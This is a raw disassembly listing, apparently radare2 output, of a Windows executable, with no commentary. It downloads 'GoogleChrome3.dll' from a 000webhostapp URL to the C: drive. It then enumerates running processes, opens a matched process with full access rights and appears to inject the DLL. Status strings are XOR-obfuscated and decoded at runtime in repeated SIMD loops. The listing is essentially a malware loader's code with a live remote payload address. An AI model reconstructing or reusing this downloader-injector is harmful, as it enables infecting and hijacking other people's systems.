nop
lea rcx, [rbp + 0x15d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1050]
call fcn.1400026f0
lea rcx, [rbp + 0x1050]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b28]
call fcn.14000ec30
lea rcx, [rbp + 0x1b28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x10d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1818]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x17b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x17d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1718]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1738]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1758]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1778]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1798]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1578]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1558]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1538]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1518]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1498]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1478]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1458]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xe30]
call fcn.1400026f0
lea rcx, [rbp + 0xe30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x16b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1698]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1438]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1418]
call fcn.1400028c0
xor eax, eax
mov rcx, qword [rbp + 0x2af0]
xor rcx, rsp
call fcn.1400114d0
lea r11, [rsp + 0x2c10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [0x140014cd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], rax
lea rdx, str.c:__GoogleChrome3.dll
lea rcx, [rbp + 0x190]
call fcn.14000eff0
mov rbx, rax
lea rdx, str.https:__quyenga.000webhostapp.com_files_aGoogleChrome3.dll
lea rcx, [rbp + 0x1b0]
call fcn.14000eff0
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140019a10]
call fcn.140010e50
test al, al
je 0x14000b514
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1b94]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1b90], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140008941
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x7f], 0
lea rdx, [rbp + 0xb50]
lea rcx, [rbp - 0x7f]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x1400083f3
mov r8d, r14d
cmp r15d, 2
jl 0x1400083b1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400082a0
cmp r8d, 0x27
jge 0x1400083f3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400083c0
cmp byte [r10 + 0x26], 0
je 0x140008593
cmp r15d, 2
jl 0x140008553
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x140008440
cmp eax, 0x27
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x140008560
mov edx, ebx
mov rcx, r10
call fcn.140001050
lea rcx, str.PAUSE
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x17f8]
call fcn.1400028c0
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x22b0]
call fcn.140011568
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x26b0]
call fcn.140011568
nop
lea rcx, [rbp + 0x10b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1118]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1278]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1398]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1238]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1218]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1198]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1178]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1258]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1158]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1138]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1378]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1318]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1358]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1338]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1298]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xe90]
call fcn.140001780
nop
lea rcx, [rbp + 0x1860]
call fcn.14000eb20
nop
lea rcx, [rbp + 0x1970]
call fcn.14000eb20
nop
lea rcx, [rbp + 0x10f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1678]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1618]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1638]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1658]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1598]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xfa0]
call fcn.140001780
nop
lea rcx, [rbp + 0x1a80]
call fcn.14000eb20
nop
lea rcx, [rbp + 0x10d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1818]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x17b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x17d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1718]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1738]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1758]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1778]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1798]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1578]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1558]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1538]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1518]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x14b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1498]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1478]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1458]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xd80]
call fcn.140001780
nop
lea rcx, [rbp + 0x16b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1698]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1438]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1418]
call fcn.1400028c0
jmp 0x14000816e
mov esi, r14d
lea rdx, [rbp + 0x1b90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400089be
lea rbx, [0x140014988]
nop dword [rax]
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x1bbc]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008997
inc rax
test ecx, ecx
jne 0x140008980
test edx, edx
je 0x1400089b8
lea rdx, [rbp + 0x1b90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140008970
jmp 0x1400089be
mov esi, dword [rbp + 0x1b98]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140008d48
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x7e], 0
lea rdx, [rbp + 0x928]
lea rcx, [rbp - 0x7e]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x140008ba3
mov r8d, r14d
cmp r15d, 2
jl 0x140008b61
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008a50
cmp r8d, 0x1a
jge 0x140008ba3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140008b70
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x140008d03
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x140008bf0
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x140008d10
jmp 0x140008593
mov rcx, rbx
call fcn.1400031d0
test al, al
jne 0x1400090b9
mov byte [rbp - 0x7d], al
lea rdx, [rbp + 0x848]
lea rcx, [rbp - 0x7d]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x140008f03
mov r8d, r14d
cmp r15d, 2
jl 0x140008ec3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140008db2
cmp r8d, 0x19
jge 0x140008f03
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140008ed0
cmp byte [r10 + 0x18], 0
je 0x1400090a3
cmp r15d, 2
jl 0x140009063
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x140008f50
cmp eax, 0x19
jge 0x1400090a3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x140009070
mov rcx, r10
call fcn.140001050
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000859d
lea rdx, str.GoogleChrome3.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x140009440
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x7c], 0
lea rdx, [rbp + 0xa38]
lea rcx, [rbp - 0x7c]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x140009293
mov r8d, r14d
cmp r15d, 2
jl 0x140009251
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140009140
cmp r8d, 0x22
jge 0x140009293
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140009260
cmp byte [r10 + 0x21], 0
je 0x140009433
cmp r15d, 2
jl 0x1400093f3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
